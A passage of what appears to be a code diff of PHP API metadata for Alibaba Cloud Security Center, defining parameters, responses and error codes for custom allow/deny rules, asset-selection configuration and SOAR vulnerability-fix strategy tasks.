'type' => 'string', + 'required' => false, + 'example' => '0c9045b5bec90f9825f1f3f64dd4****', + ], + ], + [ + 'name' => 'ActionType', + 'in' => 'query', + 'schema' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **0**：加白'."\n" + .'- **1**：加黑', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'ProcPath', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => 'c:/windows/system32/i****', + ], + ], + [ + 'name' => 'Cmdline', + 'in' => 'query', + 'allowEmptyValue' => true, + 'schema' => [ + 'description' => '命令行。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/sbin/s****', + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux'."\n" + .'- **all**：全部', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + [ + 'name' => 'IP', + 'in' => 'query', + 'schema' => [ + 'description' => 'IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '10.240.XX.XX', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。已废弃。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'FilePath', + 'in' => 'query', + 'schema' => [ + 'description' => '文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/pam****', + ], + ], + [ + 'name' => 'RegistryKey', + 'in' => 'query', + 'schema' => [ + 'description' => '注册表键。', + 'type' => 'string', + 'required' => false, + 'example' => 'HKEY_DYN_****', + ], + ], + [ + 'name' => 'RegistryContent', + 'in' => 'query', + 'schema' => [ + 'description' => '注册表值。', + 'type' => 'string', + 'required' => false, + 'example' => '*SECOH-QAD.exe*', + ], + ], + [ + 'name' => 'NewFilePath', + 'in' => 'query', + 'schema' => [ + 'description' => '文件重命名的新文件路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/pam****', + ], + ], + [ + 'name' => 'ParentProcPath', + 'in' => 'query', + 'schema' => [ + 'description' => '父进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => 'c:/windows/system32/i****', + ], + ], + [ + 'name' => 'ParentCmdline', + 'in' => 'query', + 'schema' => [ + 'description' => '父命令行。', + 'type' => 'string', + 'required' => false, + 'example' => '/usr/sbin/s****', + ], + ], + [ + 'name' => 'PortStr', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。取值范围：**1~65535**。', + 'type' => 'string', + 'required' => false, + 'example' => '80', + ], + ], + [ + 'name' => 'Domain', + 'in' => 'query', + 'schema' => [ + 'description' => '域名。', + 'type' => 'string', + 'required' => false, + 'example' => 'example.com', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '32A73759-4C0F-4801-BE98-901223ACEE9A', + ], + 'UserDefineRuleAddResult' => [ + 'description' => '自定义规则标识。', + 'type' => 'object', + 'properties' => [ + 'SwitchId' => [ + 'description' => '规则对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_200****', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'Platform' => [ + 'description' => '操作系统类型。取值：'."\n" + ."\n" + .'- **windows**：Windows'."\n" + .'- **linux**：Linux'."\n" + .'- **all**：全部', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InvalidPlatform', + 'errorMessage' => 'Invalid Platform value.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleName', + 'errorMessage' => 'Invalid Name value.', + ], + [ + 'errorCode' => 'UserDefineRuleNameTooLong', + 'errorMessage' => 'User define rule name too long.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleActionType', + 'errorMessage' => 'Invalid ActionType value.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleType', + 'errorMessage' => 'Invalid Type value.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleMd5List', + 'errorMessage' => 'Invalid Md5List value.', + ], + [ + 'errorCode' => 'UserDefineRuleMd5TooMany', + 'errorMessage' => 'Too many user define rule md5s.', + ], + [ + 'errorCode' => 'InvalidProcPath', + 'errorMessage' => 'Process path is invalid.', + ], + [ + 'errorCode' => 'UserDefineRuleProcPathMustContainsLetter', + 'errorMessage' => 'User define rule process path must contain letter.', + ], + [ + 'errorCode' => 'InvalidUserDefineRuleProcPath', + 'errorMessage' => 'User define rule process path is invalid.', + ], + [ + 'errorCode' => 'InvalidCmdline', + 'errorMessage' => 'Command line is invalid.', + ], + [ + 'errorCode' => 'UserDefineRuleCmdlineTooLong', + 'errorMessage' => 'User define rule command line too long.', + ], + [ + 'errorCode' => 'InvalidIP', + 'errorMessage' => 'Invalid IP value.', + ], + [ + 'errorCode' => 'InvalidPort', + 'errorMessage' => 'Invalid PortStr value.', + ], + [ + 'errorCode' => 'InvalidFilePath', + 'errorMessage' => 'Invalid FilePath value.', + ], + [ + 'errorCode' => 'UserDefineRuleFilePathTooLong', + 'errorMessage' => 'User define rule file path too long.', + ], + [ + 'errorCode' => 'UserDefineRulesTooMany', + 'errorMessage' => 'Too many rules.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"32A73759-4C0F-4801-BE98-901223ACEE9A\\",\\n \\"UserDefineRuleAddResult\\": {\\n \\"SwitchId\\": \\"USER-DEFINE-RULE-SWITCH-TYPE_200****\\",\\n \\"Id\\": 1,\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', + 'title' => '添加用户自定义规则', + ], + 'UpdateSelectionKeyByType' => [ + 'summary' => '修改type对应的key。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '173123', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BusinessType', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择业务类型。取值：'."\n" + ."\n" + .'- **VIRUS\\_SCAN\\_CYCLE\\_CONFIG**：病毒查杀配置'."\n" + .'- **VIRUS\\_SCAN\\_ONCE\\_TASK**：病毒查杀一次性扫描'."\n" + .'- **AGENTLESS_MALICIOUS_WHITE_LIST_[ID]**：无代理检测告警加白规则'."\n" + .'- **AGENTLESS_VUL_WHITE_LIST_[ID]**：无代理检测漏洞加白规则'."\n" + .'- **FILE_PROTECT_RULE_SWITCH_TYPE_[ID]**：核心文件保护', + 'type' => 'string', + 'required' => false, + 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', + ], + ], + [ + 'name' => 'SelectionKey', + 'in' => 'query', + 'schema' => [ + 'description' => '本次资产选择的唯一标识。', + 'type' => 'string', + 'required' => false, + 'example' => '614d179e-4776-4939-a04a-d842ce64****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DBABBC2E-26DF-5586-BF7C-4FC846EF****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DBABBC2E-26DF-5586-BF7C-4FC846EF****\\"\\n}","type":"json"}]', + 'title' => '更新资产选择类型对应的Key', + ], + 'CreateAssetSelectionConfig' => [ + 'summary' => '创建资产选择配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '168193', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BusinessType', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '资产选择业务类型。取值：'."\n" + ."\n" + .'- **VIRUS\\_SCAN\\_CYCLE\\_CONFIG**：病毒查杀配置'."\n" + .'- **VIRUS\\_SCAN\\_ONCE\\_TASK**：病毒查杀一次性扫描'."\n" + .'- **AGENTLESS_MALICIOUS_WHITE_LIST_[ID]**：无代理检测告警加白规则'."\n" + .'- **AGENTLESS_VUL_WHITE_LIST_[ID]**：无代理检测漏洞加白规则'."\n" + .'- **FILE_PROTECT_RULE_SWITCH_TYPE_[ID]**：核心文件保护', + 'type' => 'string', + 'required' => true, + 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'allowEmptyValue' => false, + 'schema' => [ + 'description' => '目标资产类型。取值：'."\n" + ."\n" + .'- **all_instance**：全部服务器'."\n" + .'- **instance**：按服务器选择'."\n" + .'- **group**：按分组选择'."\n" + .'- **vpc**：按VPC选择', + 'type' => 'string', + 'required' => true, + 'example' => 'vpc', + ], + ], + [ + 'name' => 'Platform', + 'in' => 'query', + 'schema' => [ + 'description' => '目标资产操作系统。取值：'."\n" + ."\n" + .'- **all**：所有操作系统'."\n" + .'- **windows**：windows操作系统'."\n" + .'- **linux**：linux操作系统'."\n" + .'> 该值为空时，默认根据**BusinessType**值进行匹配。'."\n" + .'>- **VIRUS\\_SCAN\\_CYCLE\\_CONFIG**：该值为**all**'."\n" + .'>- **VIRUS\\_SCAN\\_ONCE\\_TASK**：该值为**all**'."\n" + .'>- **AGENTLESS_MALICIOUS_WHITE_LIST_[ID]**：该值为**all**'."\n" + .'>- **AGENTLESS_VUL_WHITE_LIST_[ID]**：该值为**all**'."\n" + .'>- **FILE_PROTECT_RULE_SWITCH_TYPE_[ID]**：该值为**linux**', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C619F37', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TargetType' => [ + 'description' => '目标资产类型。取值：'."\n" + ."\n" + .'- **instance**：按服务器选择。'."\n" + .'- **group**：按分组选择。'."\n" + .'- **vpc**：按VPC选择。', + 'type' => 'string', + 'example' => 'group', + ], + 'SelectionKey' => [ + 'description' => '本次资产选择的唯一标识，可用于查询、修改此次资产选择对应的资产。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '53e93435-d694-4c03-9ce7-da12bee1****', + ], + 'BusinessType' => [ + 'description' => '资产选择业务类型。取值：'."\n" + ."\n" + .'- **VIRUS\\_SCAN\\_CYCLE\\_CONFIG**：病毒查杀配置'."\n" + .'- **VIRUS\\_SCAN\\_ONCE\\_TASK**：病毒查杀一次性扫描', + 'type' => 'string', + 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', + ], + 'Platform' => [ + 'description' => '目标资产操作系统。取值：'."\n" + .'- **windows**：windows操作系统'."\n" + .'- **linux**：linux操作系统', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C619F37\\",\\n \\"Data\\": {\\n \\"TargetType\\": \\"group\\",\\n \\"SelectionKey\\": 0,\\n \\"BusinessType\\": \\"VIRUS_SCAN_CYCLE_CONFIG\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', + 'title' => '创建资产选择配置', + ], + 'ListAssetSelectionSelectedTarget' => [ + 'summary' => '查询传入的资产中，已选中的资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + ], + 'parameters' => [ + [ + 'name' => 'SelectionKey', + 'in' => 'query', + 'schema' => [ + 'description' => '本次资产选择的唯一标识。', + 'type' => 'string', + 'required' => true, + 'example' => '2e6ab33d-4e00-4581-ac16-0dd1f9ad****', + ], + ], + [ + 'name' => 'TargetList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '查询列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产ID。按机器选择时，取值为机器的uuid，按分组选择时，取值为分组ID，按VPC选择时，取值为VPC ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1190****', + ], + 'required' => false, + 'maxItems' => 1000, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1EB12F73-6828-59D2-9FBF-F3713FD55128', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TargetId' => [ + 'description' => '资产ID。按机器选择时，取值为机器的uuid，按分组选择时，取值为分组ID，按VPC选择时，取值为VPC ID。', + 'type' => 'string', + 'example' => '30****', + ], + 'TargetName' => [ + 'description' => '资产名称。', + 'type' => 'string', + 'example' => 'jen****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1EB12F73-6828-59D2-9FBF-F3713FD55128\\",\\n \\"Data\\": [\\n {\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"jen****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询传入资产中已选中的资产', + ], + 'ListAssetSelectionTarget' => [ + 'summary' => '查询选中的资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '返回数据当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + [ + 'name' => 'SelectionKey', + 'in' => 'query', + 'schema' => [ + 'description' => '本次资产选择的唯一标识。', + 'type' => 'string', + 'required' => true, + 'example' => '8ccf9b01-2c64-4cba-8122-10115f29****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '50A75355-F58F-5D65-8377-98C88DED9C51', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '639', + ], + ], + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TargetId' => [ + 'description' => '资产ID。按机器选择时，取值为机器的uuid，按分组选择时，取值为分组ID，按VPC选择时，取值为VPC ID。', + 'type' => 'string', + 'example' => '30****', + ], + 'TargetName' => [ + 'description' => '资产名称。', + 'type' => 'string', + 'example' => 'test****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"50A75355-F58F-5D65-8377-98C88DED9C51\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 639\\n },\\n \\"Data\\": [\\n {\\n \\"TargetId\\": \\"30****\\",\\n \\"TargetName\\": \\"test****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询选中的资产', + ], + 'GetAssetSelectionConfig' => [ + 'summary' => '获取资产选择配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '167774', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'BusinessType', + 'in' => 'query', + 'schema' => [ + 'description' => '资产选择业务类型。取值：'."\n" + ."\n" + .'- **VIRUS\\_SCAN\\_CYCLE\\_CONFIG**：病毒查杀配置'."\n" + .'- **VIRUS\\_SCAN\\_ONCE\\_TASK**：病毒查杀一次性扫描'."\n" + .'- **AGENTLESS_MALICIOUS_WHITE_LIST_[ID]**：无代理检测告警加白规则'."\n" + .'- **AGENTLESS_VUL_WHITE_LIST_[ID]**：无代理检测漏洞加白规则'."\n" + .'- **FILE_PROTECT_RULE_SWITCH_TYPE_[ID]**：核心文件保护', + 'type' => 'string', + 'required' => true, + 'example' => 'VIRUS_SCAN_CYCLE_CONFIG', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '响应体。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C5936B67-3EDF-53ED-A542-02543972449A', + ], + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'TargetType' => [ + 'description' => '目标资产类型。取值：'."\n" + ."\n" + .'- **instance**：按服务器选择。'."\n" + .'- **group**：按分组选择。'."\n" + .'- **vpc**：按VPC选择。', + 'type' => 'string', + 'example' => 'instance', + ], + 'SelectionKey' => [ + 'description' => '本次资产选择的唯一标识，可用于查询、修改此次资产选择对应的资产。', + 'type' => 'string', + 'example' => '657c8411-4e89-446c-ab66-d45d1331****', + ], + 'Platform' => [ + 'description' => '目标资产操作系统。取值：'."\n" + .'- **windows**：windows操作系统'."\n" + .'- **linux**：linux操作系统', + 'type' => 'string', + 'example' => 'linux', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C5936B67-3EDF-53ED-A542-02543972449A\\",\\n \\"Data\\": {\\n \\"TargetType\\": \\"instance\\",\\n \\"SelectionKey\\": \\"657c8411-4e89-446c-ab66-d45d1331****\\",\\n \\"Platform\\": \\"linux\\"\\n }\\n}","type":"json"}]', + 'title' => '获取资产选择配置', + ], + 'AddAssetSelectionCriteria' => [ + 'summary' => '为资产选择操作添加资产。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '168455', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'SelectionKey', + 'in' => 'query', + 'schema' => [ + 'description' => '本次资产选择的唯一标识。', + 'type' => 'string', + 'required' => true, + 'example' => '5196d280-5bfa-496a-ba70-8a3935e3****', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。'."\n" + .'> 支持使用资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。您可以调用[DescribeCriteria](~~DescribeCriteria~~)接口查询支持的搜索条件。', + 'type' => 'string', + 'required' => false, + 'example' => '{"LogicalExp":"AND","Criteria":"[{\\"name\\":\\"osType\\",\\"value\\":\\"linux\\",\\"logicalExp\\":\\"AND\\"},{\\"name\\":\\"alarmStatus\\",\\"value\\":\\"YES\\",\\"logicalExp\\":\\"AND\\"}]"}', + ], + ], + [ + 'name' => 'CriteriaOperation', + 'in' => 'query', + 'schema' => [ + 'description' => '对criteria的操作类型，取值：'."\n" + ."\n" + .'- **add**：添加资产'."\n" + .'- **del**：删除资产', + 'type' => 'string', + 'required' => false, + 'example' => 'add', + ], + ], + [ + 'name' => 'TargetOperationList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产列表。', + 'type' => 'array', + 'items' => [ + 'description' => '资产信息。', + 'type' => 'object', + 'properties' => [ + 'Target' => [ + 'description' => '资产ID。按机器选择时，取值为机器的uuid，按分组选择时，取值为分组ID，按VPC选择时，取值为VPC ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1188****', + ], + 'Operation' => [ + 'description' => '操作类型。取值：'."\n" + ."\n" + .'- **add**：增加。'."\n" + .'- **del**：删除。', + 'type' => 'string', + 'required' => false, + 'example' => 'del', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '为资产选择操作添加资产', + ], + 'CreateSoarStrategyTask' => [ + 'summary' => '在任务中心-我的策略下创建任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91940', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[DescribeSoarSubscribedStrategy](~~DescribeSoarSubscribedStrategy~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '13840', + ], + ], + [ + 'name' => 'StrategyTaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'task1', + ], + ], + [ + 'name' => 'StrategyName', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。固定取值：漏洞自动化批量修复策略。', + 'type' => 'string', + 'required' => true, + 'example' => 'Automated Batch Vulnerability Fixing Policy for Multiple Servers', + ], + ], + [ + 'name' => 'StrategyTaskParams', + 'in' => 'query', + 'schema' => [ + 'description' => '策略的参数信息。JSONArray格式的字符串，含义：'."\n" + ."\n" + .'漏洞配置项。取值：'."\n" + .'- name：vluList'."\n" + .'- associationProperty：sasAllVul'."\n" + .'- value：漏洞的基本信息'."\n" + ."\n" + .'快照配置项。取值'."\n" + .'- name：snapshotConfig'."\n" + .'- associationProperty：snapshotConfig'."\n" + .'- value：存储时间信息'."\n" + ."\n" + .'通知配置'."\n" + .'- name：notifyConfig'."\n" + .'- associationProperty：notifyConfig'."\n" + .'- value：邮件或者钉钉的配置信息', + 'type' => 'string', + 'required' => true, + 'example' => '['."\n" + .' {'."\n" + .' "name": "vulList",'."\n" + .' "associationProperty": "sasAllVul",'."\n" + .' "value": ['."\n" + .' {'."\n" + .' "regionId": "cn-hangzhou",'."\n" + .' "instanceId": "i-bp10i******68lo5e",'."\n" + .' "instanceName": "instance****",'."\n" + .' "vulId": 3974347681,'."\n" + .' "vulName": "centos:7:cesa-2024:1249",'."\n" + .' "vulAliasName": "CESA-2024:1249",'."\n" + .' "vulTag": "oval",'."\n" + .' "vulUuid": "3c5eb76a-******-85ef-67562cdc2344",'."\n" + .' "vulType": "cve",'."\n" + .' "vulModifyTs": 1721324258000'."\n" + .' }'."\n" + .' ]'."\n" + .' },'."\n" + .' {'."\n" + .' "name": "snapshotConfig",'."\n" + .' "associationProperty": "snapshotConfig",'."\n" + .' "value": {'."\n" + .' "ttl": 1'."\n" + .' }'."\n" + .' },'."\n" + .' {'."\n" + .' "name": "notifyConfig",'."\n" + .' "associationProperty": "notifyConfig",'."\n" + .' "value": {'."\n" + .' "ding": ['."\n" + .' {'."\n" + .' "value": 2195,'."\n" + .' "label": "test"'."\n" + .' }'."\n" + .' ]'."\n" + .' }'."\n" + .' }'."\n" + .']'."\n", + ], + ], + [ + 'name' => 'StrategyTaskPlanExeTime', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务计划执行时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1586739841000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回内容。', + 'type' => 'object', + 'properties' => [ + 'StrategyTaskId' => [ + 'description' => '策略任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10688', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '43313389-DED8-5BB7-8CB9-F22CDEB744DE', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StrategyTaskId\\": 10688,\\n \\"RequestId\\": \\"43313389-DED8-5BB7-8CB9-F22CDEB744DE\\"\\n}","type":"json"}]', + 'title' => '创建策略任务', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DeleteSoarStrategyTask' => [ + 'summary' => '删除任务中心处于waiting状态的策略任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91973', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => 